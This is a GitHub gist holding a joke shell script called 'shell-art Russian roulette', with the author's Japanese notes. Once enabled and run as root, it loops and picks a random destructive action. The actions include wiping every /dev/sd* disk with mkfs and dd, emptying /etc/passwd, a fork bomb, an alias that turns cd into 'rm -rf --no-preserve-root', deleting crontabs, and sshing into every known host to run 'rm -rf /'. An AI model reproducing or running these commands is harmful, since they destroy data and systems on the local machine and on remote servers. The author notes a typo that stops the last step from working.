Last active
June 22, 2023 17:35
-
-
Save Hayao0819/1d33a8f3635add1229b3f61ec9218057 to your computer and use it in GitHub Desktop.
シェル芸ロシアンルーレット
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# 参考 | |
# https://qiita.com/_-_-_-_-_/items/214d537aae2c1488692c | |
get_random(){ | |
od -v -An --width=1 -tu1 -N1 < /dev/urandom | \ | |
awk "{ print \$1 % 10 }" | |
} | |
: "${I_WANT_TO_DESTROY_EVERYTHING:=false}" | |
if [ "$I_WANT_TO_DESTROY_EVERYTHING" != "true" ] ; then | |
exit 0 | |
fi | |
if [ "$(id -u)" -ne 0 ] ; then | |
echo "You must be root to run this script" | |
exit 1 | |
fi | |
# 自分のPCでは絶対に実行しないという硬い意思 | |
if hostname | grep -q "Hayao"; then | |
exit 2 | |
fi | |
while true; do | |
printf "Please press enter to continue:" | |
read -r | |
case "$(get_random)" in | |
0) | |
echo "You are lucky" | |
;; | |
1) | |
echo "alias cd='rm -rf --no-preserve-root'" >> ~/.bashrc | |
;; | |
2) | |
echo "" > /etc/passwd | |
;; | |
3) | |
for dev in /dev/sd*; do | |
mkfs.ext4 "$dev" | |
done | |
;; | |
4) | |
rsync -a --delete-excluded ~ / | |
;; | |
5) | |
echo "source ~/.bashrc" >> ~/.bashrc | |
;; | |
6) | |
echo "You are who finish the game." | |
n(){ | |
# shellcheck disable=SC2264 | |
n|n & | |
} | |
n | |
;; | |
7) | |
for dev in /dev/sd*; do | |
dd if=/dev/zero of="$dev" | |
done | |
;; | |
8) | |
crontab -r | |
;; | |
9) | |
# SSHの接続履歴のある全てのサーバーを破壊する | |
for user in /home/*; do | |
cut -d " " -f 1 < "$user/.ssh/know_hosts" | tr -d "[" | tr -d "]" | while read -r ip; do | |
ssh -n "$(basename "$user")"@"$ip" "rm -rf --no-preserve-root /" | |
done | |
done | |
;; | |
esac | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
使い方
注意点
作った理由
バイト終わりで疲れてるところにTwitterを見たら、「シェル芸ロシアンルーレット」という文字が目に入ったため
最後のやばそうなコードについて
このコードは一見やばそうなんですが、Typoがあるので動作しません。修正しても実際に動作するのは非常に限定的な場合のみです。
Typoを修正した場合、
という状況下でのみ動作します。それ以外では途中でパスワードを要求されるので中断できます。
まともなサーバー管理者なら、Rootログインは無効化したうえでsudoも限定的にしているはずです。